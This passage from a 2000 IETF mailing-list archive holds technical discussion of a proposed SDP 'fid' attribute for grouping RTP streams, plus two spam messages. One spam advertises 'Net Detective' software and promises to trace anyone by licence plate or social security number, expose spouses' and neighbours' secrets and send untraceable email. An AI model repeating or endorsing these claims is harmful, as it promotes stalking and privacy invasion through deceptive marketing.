> > > > little assurance that the state of the participants
> > > > converges.  Whether
> > > > reliability is a transport function or a property of the application
> > > > protocol, and whether it is achived by saturation (endless
> > > > repetition),
> > > > forward error correction, or retransmissions, does not really make a
> > > > difference (and I think this is what you are addressing).
> > > >
> > > > Of course, there are various aspects that together could be
> > > > called tightly
> > > > coupled.  State convergence is one.  Another requirement in
> > > > many conferences
> > > > is the execution of a common policy with respect to member
> > > > requirements and
> > > > requests -- this is much harder to scale.
> > > >
> > > > Gruesse, Carsten
> > > >
> > 
> > --
> > Gonzalo Camarillo         Phone :  +358  9 299 33 71
> > Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> > Telecom R&D               Fax   :  +358  9 299 30 52
> > FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> > Finland                   http://www.hut.fi/~gonzalo

From confctrl-owner  Thu Oct 12 13:18:34 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA16964
	for confctrl-outgoing; Thu, 12 Oct 2000 09:55:45 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA16851
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 09:55:14 -0700 (PDT)
Received: from scaup.prod.itd.earthlink.net (scaup.prod.itd.earthlink.net [207.217.121.49])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id JAA05684
	for <confctrl@isi.edu>; Thu, 12 Oct 2000 09:55:27 -0700 (PDT)
From: 00914698@yahoo.com
Received: from mail.earthlink.net (1Cust57.tnt2.des-moines.ia.da.uu.net [63.11.130.57])
	by scaup.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id JAA03121;
	Thu, 12 Oct 2000 09:52:57 -0700 (PDT)
Received: from spyguide22@yahoo.com by cathy127@excite.com (8.8.5/8.6.5) with SMTP id GAA02774 for <mikeh727@yahoo.com>; Thu, 12 Oct 2000 23:11:36 -0600 (EST)
Date: Thu, 12 Oct 00 23:11:36 EST
To: mikeh727@yahoo.com
Subject: The Net Detective. Learn how to snoop on Anyone!
Message-ID: <>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

READY TO KNOW?
> 
> CONFIDENTIAL
> 
> The SOFTWARE They Want BANNED In all 50 STATES.
> Why? Because these secrets were never intended to reach your eyes...
> Get the facts on anyone!    
> 
> Locate Missing Persons, find Lost Relatives, obtain Addresses
> and Phone Numbers of old school friends, even Skip Trace Dead 
> Beat Spouses. This is not a Private Investigator, but a
> sophisticated SOFTWARE program DESIGNED to automatically
> CRACK YOUR CASE with links to thousands of Public Record databases. 
> 
> Find out SECRETS about your relatives, friends, enemies,
> and everyone else! -- even your spouse! With the New,
>              INTERNET SPY AND YOU!
> 
> It's absolutely astounding! Here's what you can learn:
> 
> License plate number!
>  Get anyone's name and address with just a license plate number!
>  (Find that girl you met in traffic!)
> 
> Driving record! 
>  Get anyone's driving record
> 
> Social security number!
>   Trace anyone by social security number!
> 
> Address! 
>  Get anyone's address with just a name!
> 
> Unlisted phone numbers! 
>  Get anyone's phone number with just a name-even unlisted numbers!
> 
> Locate! 
>  Long lost friends, relatives, a past lover who broke your heart!
> 
> E-mail! 
> Send anonymous e-mail completely untraceable!
> 
> Dirty secrets!
>   Discover dirty secrets your in-laws don't want you to know!
> 
> Investigate anyone! 
>  Use the sources that private investigators use (all on the Internet)
>  secretly!
> 
> Ex-spouse!
>   Learn how to get information on an ex-spouse that will help you 
>   win in court!  (Dig up old skeletons)
> 
> Criminal search-Backround check!
>   Find out about your daughters boyfriend! 
>   (or her husband)
> 
> Find out! 
>  If you are being investigated!
> 
> Neighbors!
>   Learn all about your mysterious neighbors! Find out what they 
>   have to hide!
> 
> People you work with!
>   Be astonished by what you'll learn about people you work with!
>
> Education verification!
>   Did he really graduate college?  Find out!
> 
> Internet Spy and You
>  Software will help you discover ANYTHING about anyone, with 
>  clickable hyperlinks and no typing in Internet addresses! Just
>  insert the floppy disk and Go!
> 
> You will be shocked and amazed by the secrets that can be
>  discovered about absolutely everyone! Find out the secrets 
>  they don't want you to know! About others, about yourself! 
> 
> It's INCREDIBLE what you can find out using Internet Spy and You
>  and the Internet! You'll be riveted to your computer screen!
>  Get the software they're trying to ban! Before it's too late!
> 
> LIMITED TIME OFFER: ORDER TODAY!
> 
> Only $24.95 
> 
> 
> We will RUSH YOU our Internet Spy and You software so you can
>  begin discovering all the secrets you ever wanted to know!
> 
> You can know EVERYTHING about ANYONE with our Internet Spy and
> You Software. Works with all browsers and all versions of AOL!
> 
> ORDER TODAY: SEND ONLY $24.95 US CASH, CHECK, OR MONEY ORDER
> (you may also send one of your own address labels
> for accuracy if you have one.)
> 
> ATTENTION ORDERS OUTSIDE THE US:  You must ad $5 for shipping.
> 
> 
> *Foreign money orders must be payable on a US BANK AND IN US FUNDS!
> NO EXCEPTIONS!
> 
>
> 
> 
> DON'T WAIT TO GET STARTED... it's as easy as 1. 2. 3.
> 
> 
> STEP 1 - Print the order form text below
> 
> STEP 2 - Type or print your order information into the order form section
> 
> STEP 3 - Mail order form and payment to the address below
> 
> 
>           
> 
> >>>>>>>>>>>>>>>>>>>>>>>>>>Mail the portion below<<<<<<<<<<<<<<<<<<<<




> 
>     Send to:
> 
>    Consumer Resources
>    
>    PO BOX 283
> 
>    Johnston, IA 50131
> 
>    
>     U.S.A
>
>     
> 
> 
> 
> >>>>>>>>>>>>>>>>>>>>> Mail-in Order Form <<<<<<<<<<<<<<<<<<<<<<<<




> 
> 
> 
>
> Name: ______________________________
>
> 
> Address:  _____________________________
> 
>
> City/State/Zip __________________________________________
> 
> 

>
> 
>
> 
> 

> 
> >>>>>>>>>>>>>>>>>>>>>> end of form <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<




> 
> DISCLAIMER: The seller of this powerful software resource will not be 
> held responsible for how the purchaser chooses to use its resources.
> 
>
>
> 
> To be removed from our mailing list please
> send an email to m743@dcemail.com and put remove
> in the subject.
> Thank you


From confctrl-owner  Thu Oct 12 14:18:20 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA17965
	for confctrl-outgoing; Thu, 12 Oct 2000 14:18:20 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA17960
	for <confctrl@zephyr.isi.edu>; Thu, 12 Oct 2000 14:18:19 -0700 (PDT)
Received: from ivigate.intervoice.com (ivigate.intervoice.com [208.200.21.196])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA21815
	for <confctrl@ISI.EDU>; Thu, 12 Oct 2000 14:18:26 -0700 (PDT)
Received: from itmail-ict1.wichita.brite.com (itmail-ict1.wichita.brite.com [151.214.5.174])
	by ivigate.intervoice.com (Build 98 8.9.3/NT-8.9.3) with ESMTP id QAA00407;
	Thu, 12 Oct 2000 16:15:07 -0500
Received: by itmail-ict1-imc.wichita.brite.com with Internet Mail Service (5.5.2448.0)
	id <SJP0GF3X>; Thu, 12 Oct 2000 16:08:31 -0500
Message-ID: <DBD1CC7CE357D211AECC009027158FD1034848A3@itmail-ict1-imc.wichita.brite.com>
From: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com>
To: Michael Thomas <mat@cisco.com>,
        Gonzalo Camarillo
	 <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: Rohan Mahy <rohan@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>,
        sip@lists.bell-labs.com, Henning Schulzrinne
	 <hgs@cs.columbia.edu>,
        mmusic <confctrl@ISI.EDU>
Subject: RE: [SIP] draft-camarillo-sip-sdp-00.txt
Date: Thu, 12 Oct 2000 16:08:27 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi:

I've only followed this thread on the SIP list and read the recent
discussion on the AVT WG list,  I've probably missed some related discussion
in other WGs.  It appears to me, and as Gonzalo pointed out, separate RTP
streams are OK.  The session description below describes two RTP streams
with only one active at any point in time (I believe the semantics of the
fid attribute shown indicate that I can choose to send only one) vs. a
single RTP stream with either of two encoding schemes.  However, as a SIP UA
and having received that session description I know to send the two
encodings separately if I want to make the other endpoint happy.  (And only
one at a time if I support the fid attribute.)  It does seem reasonable that
it might complicate QoS, but I expect the benefit of the separate media
streams is justified when used.

Anyway, segregating media streams (where exact synchronization isn't needed
and RTP is good enough) enables certain efficiencies when providing
telecommunications and like services in an IP network.  This is only one
advantage I suspect.  

Regards,
Bert

> -----Original Message-----
> From: Michael Thomas [mailto:mat@cisco.com]
> Sent: Thursday, October 12, 2000 10:22 AM
> To: Gonzalo Camarillo
> Cc: Culpepper, Bert; Rohan Mahy; Jonathan Rosenberg;
> sip@lists.bell-labs.com; Henning Schulzrinne; mmusic
> Subject: Re: [SIP] draft-camarillo-sip-sdp-00.txt
> 
> 
> Gonzalo Camarillo writes:
>  > I would like my session description to look like:
>  > 
>  >          v=0
>  >          o=John 289085535 289085535 IN IP4 first.example.com
>  >          t=0 0
>  >          c=IN IP4 111.111.111.111
>  >          m=audio 20000 RTP/AVP 0
>  >          a=fid:1
>  >          m=audio 20002 RTP/AVP 8
>  >          a=fid:1
>  > 
>  > If an implementation does not understand the fid attribute it will try
>  > to mix the audio streams. Since one is "empty" all the time, doing this
>  > is not really a big deal. Thus, backwards compatibility is not a
>  > concern.
>  > 
>  > Do you have any concerns with this approach?
> 
>    The main problem I see is with the interaction with
>    QoS reservations. Namely, that you'd expect the receiver
>    to book reservations for both flows. Doing:
> 
>    m=audio 20000 RTP/AVP 0 8
> 
>    on the other hand only implies that you book the ceil()
>    of both flows. 
> 
>    Why is it so advantageous to segregate these into two 
>    streams? The implicit coupling you're after seems like
>    it's not well handled by SDP right now, and I'd bet
>    that this would be better taken up as a working item
>    for SDPng (if not already there) because my understanding
>    is that explicit audio synch with video is also problematic in
>    SDP right now, which is sort of similar.
> 
> 		Mike
> 

From confctrl-owner  Fri Oct 13 01:30:07 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA04371
	for confctrl-outgoing; Fri, 13 Oct 2000 01:30:07 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA04365
	for <confctrl@zephyr.isi.edu>; Fri, 13 Oct 2000 01:30:05 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id BAA08280
	for <confctrl@ISI.EDU>; Fri, 13 Oct 2000 01:30:17 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e9D8UBZ02592;
	Fri, 13 Oct 2000 10:30:12 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.30.148])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id LAA12740;
	Fri, 13 Oct 2000 11:30:07 +0300 (EET DST)
Message-ID: <39E6C80D.4E614098@lmf.ericsson.se>
Date: Fri, 13 Oct 2000 11:30:05 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com>
CC: Michael Thomas <mat@cisco.com>, Rohan Mahy <rohan@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>, sip@lists.bell-labs.com,
        Henning Schulzrinne <hgs@cs.columbia.edu>, mmusic <confctrl@ISI.EDU>
Subject: Re: [SIP] draft-camarillo-sip-sdp-00.txt
References: <DBD1CC7CE357D211AECC009027158FD1034848A3@itmail-ict1-imc.wichi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I will try to summarize the discussions so far:

The issue I am looking at is: "What happens when I need to receive a
single media stream in different ports (or even different IP addresses)
depending on the codec used at any moment".

A media stream here is, for instance, the audio transmitted in a regular
telephone call.

With this issue in mind, it is good to know scenarios where this can
happen and, of course, possible solutions.

There are multiple scenarios where we can have this situation.

-The device receiving voice is not the same as the device that handles
DTMF tones. Thus, the media stream will have to be sent to the device
handling voice when the RTP packets contain PCM voice (for instance) and
to the device handling DTFM tones when they carry tones.

-I need to use a transcoder because I have a cheap client that does not
support all the audio codecs in the world. I want to receive PCM in my
IP address, but I would like to receive GSM in the IP address of the
transcoder. The transcoder will take care of sending the stream to my IP
address once it has been transcoded.

-Cellular terminals that have to configure radio bearers with specific
codec information because some optimizations are applied. They want to
receive media on different ports depending on the codec used.

Folks have pointed out more scenarios where this might happen.

The first solution I thought of was to send a single RTP stream to
different ports (or different IP addresses). As the AVT guys pointed
out, this would cause lots of problems. Mainly related to RTCP.
Everybody agreed that a much better solution was to establish different
RTP sessions.

If different RTP sessions are established, this issue is transparent to
RTP and RTCP. They are thus not affected.

SDP backwards compatibility was also an issue, so a solution that does
not break existing implementations has to be found.

The fid (flow identifier) attribute I was describing in my previous mail
would just be an identifier for the flow. That is, we might have several
RTP streams, but all of them are related, because we are dealing with
just one flow.

So, an application receiving this parameter would know that all the m
lines in the SDP with the same fid attribute (a=fid:12, for instance)
are related. I believe this is useful information for the application.

If an application does not understand the fid attribute, everything
works properly. The only issue is that the application is not aware of
this relation between m lines.


Regarding Mike's question, this was already presented as input for SDPng
in the last IETF. I am now after a solution for SDP. I agree that SDPng
will solve all these issues. The quesion is: when? Everybody working on
it is currently pretty busy.

Best regards,

Gonzalo



"Culpepper, Bert" wrote:
> 
> Hi:
> 
> I've only followed this thread on the SIP list and read the recent
> discussion on the AVT WG list,  I've probably missed some related discussion
> in other WGs.  It appears to me, and as Gonzalo pointed out, separate RTP
> streams are OK.  The session description below describes two RTP streams
> with only one active at any point in time (I believe the semantics of the
> fid attribute shown indicate that I can choose to send only one) vs. a
> single RTP stream with either of two encoding schemes.  However, as a SIP UA
> and having received that session description I know to send the two
> encodings separately if I want to make the other endpoint happy.  (And only
> one at a time if I support the fid attribute.)  It does seem reasonable that
> it might complicate QoS, but I expect the benefit of the separate media
> streams is justified when used.
> 
> Anyway, segregating media streams (where exact synchronization isn't needed
> and RTP is good enough) enables certain efficiencies when providing
> telecommunications and like services in an IP network.  This is only one
> advantage I suspect.
> 
> Regards,
> Bert
> 
> > -----Original Message-----
> > From: Michael Thomas [mailto:mat@cisco.com]
> > Sent: Thursday, October 12, 2000 10:22 AM
> > To: Gonzalo Camarillo
> > Cc: Culpepper, Bert; Rohan Mahy; Jonathan Rosenberg;
> > sip@lists.bell-labs.com; Henning Schulzrinne; mmusic
> > Subject: Re: [SIP] draft-camarillo-sip-sdp-00.txt
> >
> >
> > Gonzalo Camarillo writes:
> >  > I would like my session description to look like:
> >  >
> >  >          v=0
> >  >          o=John 289085535 289085535 IN IP4 first.example.com
> >  >          t=0 0
> >  >          c=IN IP4 111.111.111.111
> >  >          m=audio 20000 RTP/AVP 0
> >  >          a=fid:1
> >  >          m=audio 20002 RTP/AVP 8
> >  >          a=fid:1
> >  >
> >  > If an implementation does not understand the fid attribute it will try
> >  > to mix the audio streams. Since one is "empty" all the time, doing this
> >  > is not really a big deal. Thus, backwards compatibility is not a
> >  > concern.
> >  >
> >  > Do you have any concerns with this approach?
> >
> >    The main problem I see is with the interaction with
> >    QoS reservations. Namely, that you'd expect the receiver
> >    to book reservations for both flows. Doing:
> >
> >    m=audio 20000 RTP/AVP 0 8
> >
> >    on the other hand only implies that you book the ceil()
> >    of both flows.
> >
> >    Why is it so advantageous to segregate these into two
> >    streams? The implicit coupling you're after seems like
> >    it's not well handled by SDP right now, and I'd bet
> >    that this would be better taken up as a working item
> >    for SDPng (if not already there) because my understanding
> >    is that explicit audio synch with video is also problematic in
> >    SDP right now, which is sort of similar.
> >
> >               Mike
> >

-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland                   http://www.hut.fi/~gonzalo

From confctrl-owner  Mon Oct 16 07:39:59 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA23401
	for confctrl-outgoing; Mon, 16 Oct 2000 07:39:59 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA23395
	for <confctrl@zephyr.isi.edu>; Mon, 16 Oct 2000 07:39:58 -0700 (PDT)
Received: from smtp4.cluster.oleane.net (smtp4.cluster.oleane.net [195.25.12.62])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA16123
	for <confctrl@isi.edu>; Mon, 16 Oct 2000 07:40:10 -0700 (PDT)
Received: from oleane  (dyn-1-1-025.Vin.dialup.oleane.fr [195.25.4.25])  by smtp4.cluster.oleane.net  with SMTP id QAA81445 for <confctrl@isi.edu>; Mon, 16 Oct 2000 16:40:08 +0200 (CEST)
Message-ID: <02c001c0377e$c757c940$0401a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <confctrl@ISI.EDU>
Subject: VoDSL Europe : the Deployment Scenario
Date: Mon, 16 Oct 2000 16:38:40 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_02BD_01C0378F.8A5A5240"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_02BD_01C0378F.8A5A5240
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

VoDSL Europe : the Deployment Scenario
Paris, 16-19 January 2001, second edition
Network design, deployments, standardization, softswitch evolution, =
management, marketing issues.
Get more details on:
http://www.upperside.fr/bavodsl2001.htm


------=_NextPart_000_02BD_01C0378F.8A5A5240
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT size=3D2><STRONG>VoDSL Europe : the Deployment=20
Scenario</STRONG></FONT></DIV>
<DIV><FONT size=3D2>Paris, 16-19 January 2001, second =
edition</FONT></DIV>
<DIV><FONT size=3D2>Network design, deployments, standardization, =
softswitch=20
evolution, management, marketing issues.</FONT></DIV>
<DIV><FONT size=3D2>Get more details on:</FONT></DIV>
<DIV><FONT size=3D2><A=20
href=3D"http://www.upperside.fr/bavodsl2001.htm">http://www.upperside.fr/=
bavodsl2001.htm</A></FONT></DIV></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_02BD_01C0378F.8A5A5240--


From confctrl-owner  Mon Oct 16 08:54:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA26766
	for confctrl-outgoing; Mon, 16 Oct 2000 08:54:24 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA26761
	for <confctrl@zephyr.isi.edu>; Mon, 16 Oct 2000 08:54:22 -0700 (PDT)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA05717
	for <confctrl@ISI.EDU>; Mon, 16 Oct 2000 08:54:36 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA05388;
	Mon, 16 Oct 2000 11:56:06 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <4WS2X33V>; Mon, 16 Oct 2000 11:50:12 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF4D8D9B@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Gonzalo Camarillo'" <Gonzalo.Camarillo@lmf.ericsson.se>,
        "'Culpepper, Bert'" <bert.culpepper@intervoice-brite.com>
Cc: "'Michael Thomas'" <mat@cisco.com>, "'Rohan Mahy'" <rohan@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "'sip@lists.bell-labs.com'"
	 <sip@lists.bell-labs.com>,
        "'Henning Schulzrinne'" <hgs@cs.columbia.edu>,
        "'mmusic'" <confctrl@ISI.EDU>
Subject: RE: [SIP] draft-camarillo-sip-sdp-00.txt
Date: Mon, 16 Oct 2000 11:50:11 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I just thought of an issue with this approach that is worth considering.

The problem is that if A sends an INVITE to B, there cannot be more m lines
in the response from B that in the request from A. THis is needed to support
matching up of m lines. Now, lets say A is a PC, and it calls some user B
that needs to use one of these transcoders. In the 200 OK, B cannot add a
separate media stream for this codec. Rather, it will have to send a regular
200 OK, and then immediately re-invite to add a media stream for that
specific codec, and remove that codec from the original media stream. Kind
of ugly, and possibly might get you glitches in the beginning of lost media.

So, whilst I agree with the idea of what you are trying to do here (a
choose-one-of-M session feature), I am concerned about its general ability
to fit within the framework of SDP, which is widely recognized as limited
for such things. 

-Jonathan R.


> -----Original Message-----
> From: Gonzalo Camarillo [mailto:Gonzalo.Camarillo@lmf.ericsson.se]
> Sent: Friday, October 13, 2000 4:30 AM
> To: Culpepper, Bert
> Cc: Michael Thomas; Rohan Mahy; Jonathan Rosenberg;
> sip@lists.bell-labs.com; Henning Schulzrinne; mmusic
> Subject: Re: [SIP] draft-camarillo-sip-sdp-00.txt
> 
> 
> Hi,
> 
> I will try to summarize the discussions so far:
> 
> The issue I am looking at is: "What happens when I need to receive a
> single media stream in different ports (or even different IP 
> addresses)
> depending on the codec used at any moment".
> 
> A media stream here is, for instance, the audio transmitted 
> in a regular
> telephone call.
> 
> With this issue in mind, it is good to know scenarios where this can
> happen and, of course, possible solutions.
> 
> There are multiple scenarios where we can have this situation.
> 
> -The device receiving voice is not the same as the device that handles
> DTMF tones. Thus, the media stream will have to be sent to the device
> handling voice when the RTP packets contain PCM voice (for 
> instance) and
> to the device handling DTFM tones when they carry tones.
> 
> -I need to use a transcoder because I have a cheap client 
> that does not
> support all the audio codecs in the world. I want to receive PCM in my
> IP address, but I would like to receive GSM in the IP address of the
> transcoder. The transcoder will take care of sending the 
> stream to my IP
> address once it has been transcoded.
> 
> -Cellular terminals that have to configure radio bearers with specific
> codec information because some optimizations are applied. They want to
> receive media on different ports depending on the codec used.
> 
> Folks have pointed out more scenarios where this might happen.
> 
> The first solution I thought of was to send a single RTP stream to
> different ports (or different IP addresses). As the AVT guys pointed
> out, this would cause lots of problems. Mainly related to RTCP.
> Everybody agreed that a much better solution was to establish 
> different
> RTP sessions.
> 
> If different RTP sessions are established, this issue is 
> transparent to
> RTP and RTCP. They are thus not affected.
> 
> SDP backwards compatibility was also an issue, so a solution that does
> not break existing implementations has to be found.
> 
> The fid (flow identifier) attribute I was describing in my 
> previous mail
> would just be an identifier for the flow. That is, we might 
> have several
> RTP streams, but all of them are related, because we are dealing with
> just one flow.
> 
> So, an application receiving this parameter would know that all the m
> lines in the SDP with the same fid attribute (a=fid:12, for instance)
> are related. I believe this is useful information for the application.
> 
> If an application does not understand the fid attribute, everything
> works properly. The only issue is that the application is not aware of
> this relation between m lines.
> 
> 
> Regarding Mike's question, this was already presented as 
> input for SDPng
> in the last IETF. I am now after a solution for SDP. I agree 
> that SDPng
> will solve all these issues. The quesion is: when? Everybody 
> working on
> it is currently pretty busy.
> 
> Best regards,
> 
> Gonzalo
> 
> 
> 
> "Culpepper, Bert" wrote:
> > 
> > Hi:
> > 
> > I've only followed this thread on the SIP list and read the recent
> > discussion on the AVT WG list,  I've probably missed some 
> related discussion
> > in other WGs.  It appears to me, and as Gonzalo pointed 
> out, separate RTP
> > streams are OK.  The session description below describes 
> two RTP streams
> > with only one active at any point in time (I believe the 
> semantics of the
> > fid attribute shown indicate that I can choose to send only 
> one) vs. a
> > single RTP stream with either of two encoding schemes.  
> However, as a SIP UA
> > and having received that session description I know to send the two
> > encodings separately if I want to make the other endpoint 
> happy.  (And only
> > one at a time if I support the fid attribute.)  It does 
> seem reasonable that
> > it might complicate QoS, but I expect the benefit of the 
> separate media
> > streams is justified when used.
> > 
> > Anyway, segregating media streams (where exact 
> synchronization isn't needed
> > and RTP is good enough) enables certain efficiencies when providing
> > telecommunications and like services in an IP network.  
> This is only one
> > advantage I suspect.
> > 
> > Regards,
> > Bert
> > 
> > > -----Original Message-----
> > > From: Michael Thomas [mailto:mat@cisco.com]
> > > Sent: Thursday, October 12, 2000 10:22 AM
> > > To: Gonzalo Camarillo
> > > Cc: Culpepper, Bert; Rohan Mahy; Jonathan Rosenberg;
> > > sip@lists.bell-labs.com; Henning Schulzrinne; mmusic
> > > Subject: Re: [SIP] draft-camarillo-sip-sdp-00.txt
> > >
> > >
> > > Gonzalo Camarillo writes:
> > >  > I would like my session description to look like:
> > >  >
> > >  >          v=0
> > >  >          o=John 289085535 289085535 IN IP4 first.example.com
> > >  >          t=0 0
> > >  >          c=IN IP4 111.111.111.111
> > >  >          m=audio 20000 RTP/AVP 0
> > >  >          a=fid:1
> > >  >          m=audio 20002 RTP/AVP 8
> > >  >          a=fid:1
> > >  >
> > >  > If an implementation does not understand the fid 
> attribute it will try
> > >  > to mix the audio streams. Since one is "empty" all the 
> time, doing this
> > >  > is not really a big deal. Thus, backwards 
> compatibility is not a
> > >  > concern.
> > >  >
> > >  > Do you have any concerns with this approach?
> > >
> > >    The main problem I see is with the interaction with
> > >    QoS reservations. Namely, that you'd expect the receiver
> > >    to book reservations for both flows. Doing:
> > >
> > >    m=audio 20000 RTP/AVP 0 8
> > >
> > >    on the other hand only implies that you book the ceil()
> > >    of both flows.
> > >
> > >    Why is it so advantageous to segregate these into two
> > >    streams? The implicit coupling you're after seems like
> > >    it's not well handled by SDP right now, and I'd bet
> > >    that this would be better taken up as a working item
> > >    for SDPng (if not already there) because my understanding
> > >    is that explicit audio synch with video is also problematic in
> > >    SDP right now, which is sort of similar.
> > >
> > >               Mike
> > >
> 
> -- 
> Gonzalo Camarillo         Phone :  +358  9 299 33 71
> Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> Telecom R&D               Fax   :  +358  9 299 30 52
> FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> Finland                   http://www.hut.fi/~gonzalo
> 

---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Mon Oct 16 11:40:43 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA06020
	for confctrl-outgoing; Mon, 16 Oct 2000 11:40:43 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA06015
	for <confctrl@zephyr.isi.edu>; Mon, 16 Oct 2000 11:40:42 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA27027
	for <confctrl@ISI.EDU>; Mon, 16 Oct 2000 11:39:31 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e9GIcXZ15337;
	Mon, 16 Oct 2000 20:38:33 +0200 (MEST)
Received: from greymse1.lmf.ericsson.se (greymse1.lmf.ericsson.se [131.160.1.6])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id VAA12462;
	Mon, 16 Oct 2000 21:38:32 +0300 (EET DST)
Received: from lmf.ericsson.se (E0080C77A56E4.lmf.ericsson.se [131.160.105.66])
	by greymse1.lmf.ericsson.se (8.9.3 (PHNE_18979)/8.8.6) with ESMTP id VAA08926;
	Mon, 16 Oct 2000 21:38:27 +0300 (EETDST)
Message-ID: <39EB4B11.783DE7AE@lmf.ericsson.se>
